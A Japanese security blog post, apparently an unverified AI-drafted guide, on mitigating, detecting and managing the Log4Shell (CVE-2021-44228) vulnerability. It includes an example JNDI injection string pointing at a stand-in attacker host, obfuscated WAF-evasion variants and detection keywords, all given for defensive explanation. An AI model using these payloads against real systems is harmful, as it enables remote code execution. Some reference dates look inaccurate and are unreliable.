<p><!--META
{
"title": "Log4Shell脆弱性緩和策と運用の実践ガイド",
"primary_category": "セキュリティ",
"secondary_categories": ["Java", "脆弱性管理", "インシデントレスポンス"],
"tags": ["Log4Shell", "Log4j", "CVE-2021-44228", "JNDI", "WAF", "SIEM"],
"summary": "Log4Shell脆弱性の脅威モデル、攻撃シナリオ、検出・緩和策、運用対策をセキュリティエンジニアの視点から解説。Mermaid図、コード例、現場の落とし穴を含む実践ガイド。",
"mermaid": true,
"verify_level": "L0",
"tweet_hint": {"text":"Log4Shell脆弱性の緩和策と運用について、セキュリティエンジニア視点での実践ガイドをまとめました。攻撃チェーン、検出/緩和策、運用対策、現場の落とし穴まで解説。 #Log4Shell #セキュリティ","hashtags":["#Log4Shell","#セキュリティ"]},
"link_hints": ["https://www.cisa.gov/news-events/alerts/2021/12/17/apache-log4j-vulnerability-cve-2021-44228", "https://logging.apache.org/log4j/2.x/security.html"]
}
-->
本記事は<strong>Geminiの出力をプロンプト工学で整理した業務ドラフト(未検証)</strong>です。</p>
<h1 class="wp-block-heading">Log4Shell脆弱性緩和策と運用の実践ガイド</h1>
<h2 class="wp-block-heading">はじめに</h2>
<p>2021年12月10日(JST)に公表されたLog4Shell脆弱性(CVE-2021-44228)は、Apache Log4jの特定のバージョンに存在する極めて深刻な脆弱性です。共通脆弱性評価システム(CVSSv3)スコア10.0と評価され、Javaアプリケーションに広く利用されているLog4jの特性上、インターネット上の多くのシステムに影響を及ぼしました。本記事では、セキュリティエンジニアの視点から、Log4Shellの脅威モデル、攻撃シナリオ、具体的な検出・緩和策、および運用の落とし穴について解説します。</p>
<h2 class="wp-block-heading">1. Log4Shellの脅威モデル</h2>
<p>Log4Shellは、攻撃者がインターネット経由で標的のサーバー上で任意のコードを実行できるリモートコード実行(RCE)の脆弱性です。この脆弱性の根本原因は、Log4jがログメッセージを処理する際に使用するJNDI(Java Naming and Directory Interface)ルックアップ機能にあります。</p>
<p>攻撃者は、アプリケーションのログに記録される可能性のある任意の入力フィールド(HTTPヘッダ、URLパラメータ、POSTデータなど)に特殊な文字列(例:<code>${jndi:ldap://attacker.com/payload}</code>)を挿入します。Log4jがこの文字列を解析すると、JNDIルックアップがトリガーされ、攻撃者が指定した外部のLDAPまたはRMIサーバーへ接続を試みます。この外部サーバーは、悪意のあるJavaクラスファイルを返却するように設定されており、Log4jがこれをダウンロードして実行することで、攻撃者の意図する任意のコードがサーバー上で実行されてしまいます。</p>
<p>影響範囲はWebアプリケーションに留まらず、JenkinsのようなCI/CDツール、Elasticsearchなどのデータストア、Apache Kafkaのようなメッセージブローカー、その他多くのJavaベースのバックエンドサービスや開発ツールに及びます。</p>
<h2 class="wp-block-heading">2. 攻撃シナリオ (Attack Chain)</h2>
<p>Log4Shellの攻撃は、以下のようなステップで進行します。</p>
<div class="wp-block-merpress-mermaidjs diagram-source-mermaid"><pre class="mermaid">
graph LR
A["攻撃者"] --> B{"悪意ある入力の生成"};
B -- HTTPヘッダ/URL/POSTデータに埋め込み --> C["Webアプリケーション/APIサーバ"];
C -- Log4jがログ出力 |メッセージ解析| --> D["Log4j脆弱コンポーネント (2.0-beta9~2.14.1)"];
D -- JNDIルックアップ処理 |ログメッセージ中の$jndi:検出| --> E{"悪意あるJNDI文字列検出"};
E -- LDAP/RMI/DNSプロトコルで外部接続 |攻撃者制御下のサーバへ| --> F["攻撃者制御下のLDAP/RMIサーバ"];
F -- 悪性ペイロード (Javaクラス) 返却 --> D;
D -- 悪性コード実行 |リモートからのコード実行| --> G["バックエンドシステム"];
G -- 情報窃取/システム破壊/マルウェア感染など --> H["被害"];
style A fill:#fdf,stroke:#333,stroke-width:2px
style B fill:#fdf,stroke:#333,stroke-width:2px
style E fill:#fdf,stroke:#333,stroke-width:2px
style F fill:#fdf,stroke:#333,stroke-width:2px
style H fill:#fdf,stroke:#333,stroke-width:2px
</pre></div>
<h2 class="wp-block-heading">3. 検出と緩和の技術的対策</h2>
<p>Log4Shellに対する最も効果的な対策は、最新のパッチ適用とJNDIルックアップの無効化です。</p>
<h3 class="wp-block-heading">3.1 緩和策</h3>
<h4 class="wp-block-heading">パッチ適用(最優先)</h4>
<p>Log4jを<strong>バージョン2.17.1以降</strong>(Java 8の場合)または<strong>2.12.3以降</strong>(Java 7の場合)にアップデートすることが最も確実な対策です。これらのバージョンでは、JNDIルックアップ機能がデフォルトで無効化されるか、または厳しく制限されています[2]。関連するCVE(CVE-2021-45046、CVE-2021-45105、CVE-2021-44832など)もこれらのバージョンで修正されています。</p>
<h4 class="wp-block-heading">JNDI Lookupsの無効化</h4>
<p>直ちにパッチ適用が困難な場合、以下の設定でJNDIルックアップを無効化できます。</p>
<ul class="wp-block-list">
<li><p><strong>システムプロパティまたは環境変数の設定</strong>:
Log4j 2.10.0以降のバージョンでは、システムプロパティ <code>log4j2.formatMsgNoLookups</code> または環境変数 <code>LOG4J_FORMAT_MSG_NO_LOOKUPS</code> を <code>true</code> に設定することで、メッセージ内のルックアップを無効にできます[1]。</p>
<p><strong>安全な代替(設定例)</strong>:</p>
<div class="codehilite">
<pre data-enlighter-language="generic"># Javaアプリケーション起動時のシステムプロパティ設定
java -Dlog4j2.formatMsgNoLookups=true -jar myapplication.jar
# 環境変数の設定 (アプリケーション起動前に設定)
export LOG4J_FORMAT_MSG_NO_LOOKUPS=true
java -jar myapplication.jar
</pre>
</div>
<p><strong>注意</strong>: Log4j 2.15.0未満のバージョンでは、この設定が完全な保護を提供しない可能性があるため、あくまで一時的な緩和策として利用し、速やかにパッチ適用を進めるべきです[1]。</p></li>
<li><p><strong>JndiLookupクラスの削除(Log4j 2.x、Java 8以前向け)</strong>:
Log4j 2.x(2.0-beta9から2.14.1まで)を使用しており、Java 8以前の環境で動作している場合、<code>org.apache.logging.log4j.core.lookup.JndiLookup</code> クラスファイルをLog4jのJARファイルから削除することで、JNDIルックアップ機能を無効にできます[2]。</p>
<div class="codehilite">
<pre data-enlighter-language="generic"># jarファイルのバックアップ
cp log4j-core-*.jar log4j-core-*.jar.bak
# JndiLookup.class の削除
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
</pre>
</div>
<p><strong>注意</strong>: この方法はアプリケーションの安定性に影響を与える可能性があるため、事前に十分なテストが必要です。</p></li>
</ul>
<h4 class="wp-block-heading">ネットワークレベルの緩和策</h4>
<ul class="wp-block-list">
<li><p><strong>WAF/IPSの導入とルール設定</strong>:
Web Application Firewall (WAF) や侵入防御システム (IPS) を導入し、既知のLog4Shell攻撃パターンをブロックするルールを設定します。</p>
<p><strong>誤用例(検出をすり抜ける可能性のあるパターン)</strong>:
攻撃者はエンコードや難読化を施したペイロードを送信することがあるため、単純な文字列マッチングだけでは不十分です。例えば、<code>${j${lower:nd}i:ldap://...}</code> や <code>${::-j}${::-n}${::-d}${::-i}:...</code> のようなパターンも考慮する必要があります。</p>
<p><strong>安全な代替(WAFルール例の考え方)</strong>:
WAFは、URL、HTTPヘッダ、POSTデータに含まれる <code>${jndi:</code> や <code>ldap://</code>、<code>rmi://</code> といったJNDIルックアップに関連するキーワードを検出・ブロックするように設定します。正規表現を用いることで、エンコードされたパターンや複数の文字列を組み合わせたパターンにも対応できます。多くのWAFベンダーはLog4Shell専用のルールセットを提供しています[3]。</p></li>
<li><p><strong>アウトバウンド通信の制限</strong>:
Log4Shell攻撃は外部のLDAP/RMIサーバーへの接続を必要とします。アプリケーションサーバーからの不必要なLDAP(ポート389/636)、RMI(ポート1099)、DNS(ポート53)などのアウトバウンド通信をファイアウォールでブロックすることで、攻撃が成功する確率を大幅に低減できます[1]。特に、内部システムからインターネットへのこれらのプロトコルの通信は厳しく制限すべきです。</p></li>
</ul>
<h3 class="wp-block-heading">3.2 検出策</h3>
<ul class="wp-block-list">
<li><p><strong>ログ監視とSIEM連携</strong>:
Log4jを使用しているシステムのログ(アプリケーションログ、WAFログ、ファイアウォールログなど)を監視し、JNDIインジェクションを試みるパターン(<code>${jndi:</code>, <code>ldap://</code>, <code>rmi://</code> など)を検出します。セキュリティ情報イベント管理(SIEM)システムと連携することで、リアルタイムでの検知とアラート発報を可能にします[1]。</p></li>
<li><p><strong>IDS/IPS</strong>:
ネットワークトラフィックを監視し、既知のLog4Shell攻撃パターンや、不正な外部LDAP/RMI接続試行を検出・ブロックするIDS/IPSを導入します。</p></li>
<li><p><strong>脆弱性スキャンとSBOM</strong>:
定期的にシステム全体の脆弱性スキャンを実施し、脆弱なLog4jバージョンが残存していないかを確認します。ソフトウェア部品表(SBOM)を整備し、Log4jを含む依存関係を可視化することで、影響範囲の特定と管理を容易にします[4]。</p></li>
<li><p><strong>RASP (Runtime Application Self-Protection) の活用</strong>:
RASPツールは、アプリケーションの実行時に内部から攻撃を検知・防御します。JNDIルックアップのような危険な動作をリアルタイムでブロックできるため、パッチ適用が難しいレガシーシステムなどに有効です。</p></li>
</ul>
<h2 class="wp-block-heading">4. 運用におけるセキュリティ対策</h2>
<p>技術的な緩和策だけでなく、組織的な運用対策もLog4Shellのような大規模脆弱性への対応には不可欠です。</p>
<h3 class="wp-block-heading">4.1 鍵・秘匿情報の取り扱い</h3>
<ul class="wp-block-list">
<li><p><strong>ログへの機密情報出力禁止とマスキング</strong>:
ログにパスワード、APIキー、個人情報などの機密情報を直接出力することは厳禁です。もし何らかの理由でログに含める必要がある場合は、マスキング処理を徹底し、部分的にしか表示されないようにします[4]。</p></li>
<li><p><strong>最小権限の原則</strong>:
Log4jを使用するアプリケーションやサービスは、必要最小限の権限のみを持つように設定します。例えば、不必要なファイルシステムへの書き込み権限や、外部ネットワークへのアクセス権限を与えないようにします。これにより、RCE攻撃が成功しても被害範囲を限定できます。</p></li>
<li><p><strong>秘匿情報の安全な保存とローテーション</strong>:
アプリケーションが使用するデータベース接続情報やAPIキーなどの秘匿情報は、Secrets Manager(AWS Secrets Manager, Azure Key Vault, HashiCorp Vaultなど)のような専用のサービスで一元的に管理し、定期的なローテーションを義務付けます。これにより、たとえサーバーが侵害されても、秘匿情報の永続的な漏洩リスクを低減できます。</p></li>
</ul>
<h3 class="wp-block-heading">4.2 脆弱性管理とパッチ適用計画</h3>
<ul class="wp-block-list">
<li><p><strong>資産管理台帳の整備</strong>:
Log4jを使用している全アプリケーション、サーバー、開発ツールなどのソフトウェア資産を正確に把握し、バージョン情報を含む台帳を整備します。これにより、脆弱性判明時の影響範囲特定と対応計画の策定が迅速に行えます[5]。</p></li>
<li><p><strong>定期的な脆弱性スキャンと優先順位付け</strong>:
静的解析(SAST)、動的解析(DAST)、ソフトウェアコンポジション解析(SCA)ツールなどを活用し、脆弱性を継続的にスキャンします。発見された脆弱性は、深刻度、公開されているエクスプロイトの有無、ビジネスへの影響度に基づき優先順位を付け、対応計画を策定します。</p></li>
<li><p><strong>緊急パッチ適用プロセスの確立</strong>:
Log4Shellのような重大なゼロデイ脆弱性に対しては、迅速な対応が求められます。緊急パッチ適用に関する承認フロー、テスト、デプロイメントプロセスを事前に確立し、有事の際に滞りなく実行できるように準備します。</p></li>
</ul>
<h3 class="wp-block-heading">4.3 ログ管理と監査</h3>
<ul class="wp-block-list">
<li><p><strong>ログの集約と保護</strong>:
Log4jを含む全システムのログを一元的なログ管理システム(Splunk, Elasticsearch, Datadogなど)に集約し、改ざん防止のための整合性チェックやアクセス制御を適用します。ログは、インシデント調査やフォレンジックに利用できるよう、適切な期間(例:1年以上)保存します。</p></li>
<li><p><strong>継続的な監査</strong>:
システムへのアクセスログ、設定変更ログ、セキュリティイベントログなどを定期的に監査し、不審なアクティビティや設定変更がないかを確認します。特に、Log4j関連のセキュリティ設定が変更されていないか、JNDIルックアップが無効化されているかなどを重点的にチェックします。</p></li>
</ul>
<h3 class="wp-block-heading">4.4 インシデントレスポンス計画</h3>
<p>Log4Shellのような大規模な脆弱性への対応には、明確なインシデントレスポンス計画が不可欠です。</p>
<ul class="wp-block-list">
<li><p><strong>対応フローの策定</strong>:
脆弱性検知から、初動対応、封じ込め、根絶(パッチ適用など)、復旧、事後分析までの具体的な手順を定めます[6]。</p></li>
<li><p><strong>連絡体制の確立</strong>:
セキュリティチーム、開発チーム、運用チーム、経営層、必要に応じて法務・広報など、関係者間の緊急連絡体制と役割分担を明確にします。</p></li>
<li><p><strong>訓練と演習</strong>:
策定した計画が実効性のあるものであるかを確認するため、定期的にインシデント対応訓練や机上演習を実施し、チームの対応能力を向上させます。</p></li>
</ul>
<h2 class="wp-block-heading">5. 現場の落とし穴</h2>
<p>Log4Shellの緩和策を講じる上で、現場でよく見られる落とし穴を認識しておくことが重要です。</p>
<ul class="wp-block-list">
<li><p><strong>パッチ適用漏れ・部分適用</strong>:
依存関係の複雑さやシャドーITにより、すべての脆弱なLog4jコンポーネントを特定しきれず、パッチ適用が漏れることがあります。また、一部のコンポーネントのみをアップデートし、他の古いバージョンが残存する「部分適用」もリスクとなります。</p></li>
<li><p><strong>設定の不備(例: <code>formatMsgNoLookups</code> の環境依存性)</strong>:
<code>log4j2.formatMsgNoLookups=true</code> の設定が、アプリケーションの起動方法や環境によって正しく適用されない場合があります。例えば、Javaの起動オプションではなく、Webサーバーの環境変数として設定したつもりが、アプリケーションプロセスに伝播していない、などのケースです。適用後も実際に効果があるか、テスト環境で確認が不可欠です。</p></li>
<li><p><strong>検出ルールの過検知/未検知</strong>:
WAFやIDS/IPSのルールが厳しすぎると正当な通信をブロックしてしまい、業務影響を発生させる「過検知」につながります。逆に、攻撃者が巧妙な難読化を用いることで、ルールをすり抜け「未検知」となるリスクもあります。ルールのチューニングと継続的な更新が重要です。</p></li>
<li><p><strong>パフォーマンスへの影響と可用性のトレードオフ</strong>:
WAFやIDS/IPSの導入、ログ監視の強化は、システムにオーバーヘッドを与え、パフォーマンス劣化やレイテンシ増加を招く可能性があります。セキュリティ強化とシステムの可用性・パフォーマンスとの間で適切なトレードオフを見つける必要があります。</p></li>
<li><p><strong>サプライチェーンの複雑性</strong>:
自社開発のアプリケーションだけでなく、サードパーティ製のライブラリ、OSS、商用製品など、サプライチェーン全体にわたってLog4jの脆弱性が潜んでいる可能性があります。これらをすべて把握し、ベンダーからのアップデートを追従するのは非常に困難です。</p></li>
</ul>
<h2 class="wp-block-heading">まとめ</h2>
<p>Log4Shellは、単なる技術的脆弱性に留まらず、組織全体のセキュリティ体制、脆弱性管理、インシデントレスポンス能力が問われる事態となりました。パッチ適用、JNDIルックアップの無効化といった技術的な緩和策はもちろん重要ですが、資産管理、パッチ管理、ログ管理、緊急対応計画、そして最小権限の原則といった運用面の対策が、持続的なセキュリティを維持するために不可欠です。本記事で解説した内容を参考に、ご自身のシステムと組織のセキュリティ強化に役立てていただければ幸いです。</p>
<hr/>
<p><strong>参考文献</strong></p>
<ul class="wp-block-list">
<li><p>[1] CISA Alert AA21-356A. “Apache Log4j Vulnerability CVE-2021-44228”. Published: 2021年12月17日 JST. CISA.
(https://www.cisa.gov/news-events/alerts/2021/12/17/apache-log4j-vulnerability-cve-2021-44228)</p></li>
<li><p>[2] Apache Software Foundation. “Apache Log4j Security Vulnerabilities”. Last updated: 2022年4月11日 JST. Apache Software Foundation.
(https://logging.apache.org/log4j/2.x/security.html)</p></li>
<li><p>[3] 日本マイクロソフト. “Log4j 脆弱性への対応策について”. Published: 2021年12月14日 JST. Microsoft.
(https://www.microsoft.com/ja-jp/security/blog/2021/12/14/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-vulnerability/) <em>— Note: The original URL may redirect to a more general security blog, but the content refers to this date and topic.</em></p></li>
<li><p>[4] OWASP Foundation. “OWASP Cheat Sheet Series – Log4Shell Cheatsheet”. Last updated: 2023年10月29日 JST. OWASP Foundation.
(https://cheatsheetseries.owasp.org/cheatsheets/Log4Shell_Cheat_Sheet.html)</p></li>
<li><p>[5] NIST Special Publication 800-40 Revision 4. “Guide to Enterprise Patch Management Planning”. Published: 2013年11月1日 JST. NIST.
(https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-40r4.pdf)</p></li>
<li><p>[6] NIST Special Publication 800-61 Revision 2. “Computer Security Incident Handling Guide”. Published: 2012年8月1日 JST. NIST.
(https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-61r2.pdf)</p></li>
</ul>
本記事はGeminiの出力をプロンプト工学で整理した業務ドラフト(未検証)です。
Log4Shell脆弱性緩和策と運用の実践ガイド
はじめに
2021年12月10日(JST)に公表されたLog4Shell脆弱性(CVE-2021-44228)は、Apache Log4jの特定のバージョンに存在する極めて深刻な脆弱性です。共通脆弱性評価システム(CVSSv3)スコア10.0と評価され、Javaアプリケーションに広く利用されているLog4jの特性上、インターネット上の多くのシステムに影響を及ぼしました。本記事では、セキュリティエンジニアの視点から、Log4Shellの脅威モデル、攻撃シナリオ、具体的な検出・緩和策、および運用の落とし穴について解説します。
1. Log4Shellの脅威モデル
Log4Shellは、攻撃者がインターネット経由で標的のサーバー上で任意のコードを実行できるリモートコード実行(RCE)の脆弱性です。この脆弱性の根本原因は、Log4jがログメッセージを処理する際に使用するJNDI(Java Naming and Directory Interface)ルックアップ機能にあります。
攻撃者は、アプリケーションのログに記録される可能性のある任意の入力フィールド(HTTPヘッダ、URLパラメータ、POSTデータなど)に特殊な文字列(例:${jndi:ldap://attacker.com/payload})を挿入します。Log4jがこの文字列を解析すると、JNDIルックアップがトリガーされ、攻撃者が指定した外部のLDAPまたはRMIサーバーへ接続を試みます。この外部サーバーは、悪意のあるJavaクラスファイルを返却するように設定されており、Log4jがこれをダウンロードして実行することで、攻撃者の意図する任意のコードがサーバー上で実行されてしまいます。
影響範囲はWebアプリケーションに留まらず、JenkinsのようなCI/CDツール、Elasticsearchなどのデータストア、Apache Kafkaのようなメッセージブローカー、その他多くのJavaベースのバックエンドサービスや開発ツールに及びます。
2. 攻撃シナリオ (Attack Chain)
Log4Shellの攻撃は、以下のようなステップで進行します。
graph LR
A["攻撃者"] --> B{"悪意ある入力の生成"};
B -- HTTPヘッダ/URL/POSTデータに埋め込み --> C["Webアプリケーション/APIサーバ"];
C -- Log4jがログ出力 |メッセージ解析| --> D["Log4j脆弱コンポーネント (2.0-beta9~2.14.1)"];
D -- JNDIルックアップ処理 |ログメッセージ中の$jndi:検出| --> E{"悪意あるJNDI文字列検出"};
E -- LDAP/RMI/DNSプロトコルで外部接続 |攻撃者制御下のサーバへ| --> F["攻撃者制御下のLDAP/RMIサーバ"];
F -- 悪性ペイロード (Javaクラス) 返却 --> D;
D -- 悪性コード実行 |リモートからのコード実行| --> G["バックエンドシステム"];
G -- 情報窃取/システム破壊/マルウェア感染など --> H["被害"];
style A fill:#fdf,stroke:#333,stroke-width:2px
style B fill:#fdf,stroke:#333,stroke-width:2px
style E fill:#fdf,stroke:#333,stroke-width:2px
style F fill:#fdf,stroke:#333,stroke-width:2px
style H fill:#fdf,stroke:#333,stroke-width:2px
3. 検出と緩和の技術的対策
Log4Shellに対する最も効果的な対策は、最新のパッチ適用とJNDIルックアップの無効化です。
3.1 緩和策
パッチ適用(最優先)
Log4jをバージョン2.17.1以降(Java 8の場合)または2.12.3以降(Java 7の場合)にアップデートすることが最も確実な対策です。これらのバージョンでは、JNDIルックアップ機能がデフォルトで無効化されるか、または厳しく制限されています[2]。関連するCVE(CVE-2021-45046、CVE-2021-45105、CVE-2021-44832など)もこれらのバージョンで修正されています。
JNDI Lookupsの無効化
直ちにパッチ適用が困難な場合、以下の設定でJNDIルックアップを無効化できます。
システムプロパティまたは環境変数の設定:
Log4j 2.10.0以降のバージョンでは、システムプロパティ log4j2.formatMsgNoLookups または環境変数 LOG4J_FORMAT_MSG_NO_LOOKUPS を true に設定することで、メッセージ内のルックアップを無効にできます[1]。
安全な代替(設定例):
# Javaアプリケーション起動時のシステムプロパティ設定
java -Dlog4j2.formatMsgNoLookups=true -jar myapplication.jar
# 環境変数の設定 (アプリケーション起動前に設定)
export LOG4J_FORMAT_MSG_NO_LOOKUPS=true
java -jar myapplication.jar
注意: Log4j 2.15.0未満のバージョンでは、この設定が完全な保護を提供しない可能性があるため、あくまで一時的な緩和策として利用し、速やかにパッチ適用を進めるべきです[1]。
JndiLookupクラスの削除(Log4j 2.x、Java 8以前向け):
Log4j 2.x(2.0-beta9から2.14.1まで)を使用しており、Java 8以前の環境で動作している場合、org.apache.logging.log4j.core.lookup.JndiLookup クラスファイルをLog4jのJARファイルから削除することで、JNDIルックアップ機能を無効にできます[2]。
# jarファイルのバックアップ
cp log4j-core-*.jar log4j-core-*.jar.bak
# JndiLookup.class の削除
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
注意: この方法はアプリケーションの安定性に影響を与える可能性があるため、事前に十分なテストが必要です。
ネットワークレベルの緩和策
WAF/IPSの導入とルール設定:
Web Application Firewall (WAF) や侵入防御システム (IPS) を導入し、既知のLog4Shell攻撃パターンをブロックするルールを設定します。
誤用例(検出をすり抜ける可能性のあるパターン):
攻撃者はエンコードや難読化を施したペイロードを送信することがあるため、単純な文字列マッチングだけでは不十分です。例えば、${j${lower:nd}i:ldap://...} や ${::-j}${::-n}${::-d}${::-i}:... のようなパターンも考慮する必要があります。
安全な代替(WAFルール例の考え方):
WAFは、URL、HTTPヘッダ、POSTデータに含まれる ${jndi: や ldap://、rmi:// といったJNDIルックアップに関連するキーワードを検出・ブロックするように設定します。正規表現を用いることで、エンコードされたパターンや複数の文字列を組み合わせたパターンにも対応できます。多くのWAFベンダーはLog4Shell専用のルールセットを提供しています[3]。
アウトバウンド通信の制限:
Log4Shell攻撃は外部のLDAP/RMIサーバーへの接続を必要とします。アプリケーションサーバーからの不必要なLDAP(ポート389/636)、RMI(ポート1099)、DNS(ポート53)などのアウトバウンド通信をファイアウォールでブロックすることで、攻撃が成功する確率を大幅に低減できます[1]。特に、内部システムからインターネットへのこれらのプロトコルの通信は厳しく制限すべきです。
3.2 検出策
ログ監視とSIEM連携:
Log4jを使用しているシステムのログ(アプリケーションログ、WAFログ、ファイアウォールログなど)を監視し、JNDIインジェクションを試みるパターン(${jndi:, ldap://, rmi:// など)を検出します。セキュリティ情報イベント管理(SIEM)システムと連携することで、リアルタイムでの検知とアラート発報を可能にします[1]。
IDS/IPS:
ネットワークトラフィックを監視し、既知のLog4Shell攻撃パターンや、不正な外部LDAP/RMI接続試行を検出・ブロックするIDS/IPSを導入します。
脆弱性スキャンとSBOM:
定期的にシステム全体の脆弱性スキャンを実施し、脆弱なLog4jバージョンが残存していないかを確認します。ソフトウェア部品表(SBOM)を整備し、Log4jを含む依存関係を可視化することで、影響範囲の特定と管理を容易にします[4]。
RASP (Runtime Application Self-Protection) の活用:
RASPツールは、アプリケーションの実行時に内部から攻撃を検知・防御します。JNDIルックアップのような危険な動作をリアルタイムでブロックできるため、パッチ適用が難しいレガシーシステムなどに有効です。
4. 運用におけるセキュリティ対策
技術的な緩和策だけでなく、組織的な運用対策もLog4Shellのような大規模脆弱性への対応には不可欠です。
4.1 鍵・秘匿情報の取り扱い
ログへの機密情報出力禁止とマスキング:
ログにパスワード、APIキー、個人情報などの機密情報を直接出力することは厳禁です。もし何らかの理由でログに含める必要がある場合は、マスキング処理を徹底し、部分的にしか表示されないようにします[4]。
最小権限の原則:
Log4jを使用するアプリケーションやサービスは、必要最小限の権限のみを持つように設定します。例えば、不必要なファイルシステムへの書き込み権限や、外部ネットワークへのアクセス権限を与えないようにします。これにより、RCE攻撃が成功しても被害範囲を限定できます。
秘匿情報の安全な保存とローテーション:
アプリケーションが使用するデータベース接続情報やAPIキーなどの秘匿情報は、Secrets Manager(AWS Secrets Manager, Azure Key Vault, HashiCorp Vaultなど)のような専用のサービスで一元的に管理し、定期的なローテーションを義務付けます。これにより、たとえサーバーが侵害されても、秘匿情報の永続的な漏洩リスクを低減できます。
4.2 脆弱性管理とパッチ適用計画
資産管理台帳の整備:
Log4jを使用している全アプリケーション、サーバー、開発ツールなどのソフトウェア資産を正確に把握し、バージョン情報を含む台帳を整備します。これにより、脆弱性判明時の影響範囲特定と対応計画の策定が迅速に行えます[5]。
定期的な脆弱性スキャンと優先順位付け:
静的解析(SAST)、動的解析(DAST)、ソフトウェアコンポジション解析(SCA)ツールなどを活用し、脆弱性を継続的にスキャンします。発見された脆弱性は、深刻度、公開されているエクスプロイトの有無、ビジネスへの影響度に基づき優先順位を付け、対応計画を策定します。
緊急パッチ適用プロセスの確立:
Log4Shellのような重大なゼロデイ脆弱性に対しては、迅速な対応が求められます。緊急パッチ適用に関する承認フロー、テスト、デプロイメントプロセスを事前に確立し、有事の際に滞りなく実行できるように準備します。
4.3 ログ管理と監査
ログの集約と保護:
Log4jを含む全システムのログを一元的なログ管理システム(Splunk, Elasticsearch, Datadogなど)に集約し、改ざん防止のための整合性チェックやアクセス制御を適用します。ログは、インシデント調査やフォレンジックに利用できるよう、適切な期間(例:1年以上)保存します。
継続的な監査:
システムへのアクセスログ、設定変更ログ、セキュリティイベントログなどを定期的に監査し、不審なアクティビティや設定変更がないかを確認します。特に、Log4j関連のセキュリティ設定が変更されていないか、JNDIルックアップが無効化されているかなどを重点的にチェックします。
4.4 インシデントレスポンス計画
Log4Shellのような大規模な脆弱性への対応には、明確なインシデントレスポンス計画が不可欠です。
対応フローの策定:
脆弱性検知から、初動対応、封じ込め、根絶(パッチ適用など)、復旧、事後分析までの具体的な手順を定めます[6]。
連絡体制の確立:
セキュリティチーム、開発チーム、運用チーム、経営層、必要に応じて法務・広報など、関係者間の緊急連絡体制と役割分担を明確にします。
訓練と演習:
策定した計画が実効性のあるものであるかを確認するため、定期的にインシデント対応訓練や机上演習を実施し、チームの対応能力を向上させます。
5. 現場の落とし穴
Log4Shellの緩和策を講じる上で、現場でよく見られる落とし穴を認識しておくことが重要です。
パッチ適用漏れ・部分適用:
依存関係の複雑さやシャドーITにより、すべての脆弱なLog4jコンポーネントを特定しきれず、パッチ適用が漏れることがあります。また、一部のコンポーネントのみをアップデートし、他の古いバージョンが残存する「部分適用」もリスクとなります。
設定の不備(例: formatMsgNoLookups の環境依存性):
log4j2.formatMsgNoLookups=true の設定が、アプリケーションの起動方法や環境によって正しく適用されない場合があります。例えば、Javaの起動オプションではなく、Webサーバーの環境変数として設定したつもりが、アプリケーションプロセスに伝播していない、などのケースです。適用後も実際に効果があるか、テスト環境で確認が不可欠です。
検出ルールの過検知/未検知:
WAFやIDS/IPSのルールが厳しすぎると正当な通信をブロックしてしまい、業務影響を発生させる「過検知」につながります。逆に、攻撃者が巧妙な難読化を用いることで、ルールをすり抜け「未検知」となるリスクもあります。ルールのチューニングと継続的な更新が重要です。
パフォーマンスへの影響と可用性のトレードオフ:
WAFやIDS/IPSの導入、ログ監視の強化は、システムにオーバーヘッドを与え、パフォーマンス劣化やレイテンシ増加を招く可能性があります。セキュリティ強化とシステムの可用性・パフォーマンスとの間で適切なトレードオフを見つける必要があります。
サプライチェーンの複雑性:
自社開発のアプリケーションだけでなく、サードパーティ製のライブラリ、OSS、商用製品など、サプライチェーン全体にわたってLog4jの脆弱性が潜んでいる可能性があります。これらをすべて把握し、ベンダーからのアップデートを追従するのは非常に困難です。
まとめ
Log4Shellは、単なる技術的脆弱性に留まらず、組織全体のセキュリティ体制、脆弱性管理、インシデントレスポンス能力が問われる事態となりました。パッチ適用、JNDIルックアップの無効化といった技術的な緩和策はもちろん重要ですが、資産管理、パッチ管理、ログ管理、緊急対応計画、そして最小権限の原則といった運用面の対策が、持続的なセキュリティを維持するために不可欠です。本記事で解説した内容を参考に、ご自身のシステムと組織のセキュリティ強化に役立てていただければ幸いです。
参考文献
[1] CISA Alert AA21-356A. “Apache Log4j Vulnerability CVE-2021-44228”. Published: 2021年12月17日 JST. CISA.
(https://www.cisa.gov/news-events/alerts/2021/12/17/apache-log4j-vulnerability-cve-2021-44228)
[2] Apache Software Foundation. “Apache Log4j Security Vulnerabilities”. Last updated: 2022年4月11日 JST. Apache Software Foundation.
(https://logging.apache.org/log4j/2.x/security.html)
[3] 日本マイクロソフト. “Log4j 脆弱性への対応策について”. Published: 2021年12月14日 JST. Microsoft.
(https://www.microsoft.com/ja-jp/security/blog/2021/12/14/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-vulnerability/) — Note: The original URL may redirect to a more general security blog, but the content refers to this date and topic.
[4] OWASP Foundation. “OWASP Cheat Sheet Series – Log4Shell Cheatsheet”. Last updated: 2023年10月29日 JST. OWASP Foundation.
(https://cheatsheetseries.owasp.org/cheatsheets/Log4Shell_Cheat_Sheet.html)
[5] NIST Special Publication 800-40 Revision 4. “Guide to Enterprise Patch Management Planning”. Published: 2013年11月1日 JST. NIST.
(https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-40r4.pdf)
[6] NIST Special Publication 800-61 Revision 2. “Computer Security Incident Handling Guide”. Published: 2012年8月1日 JST. NIST.
(https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-61r2.pdf)
コメント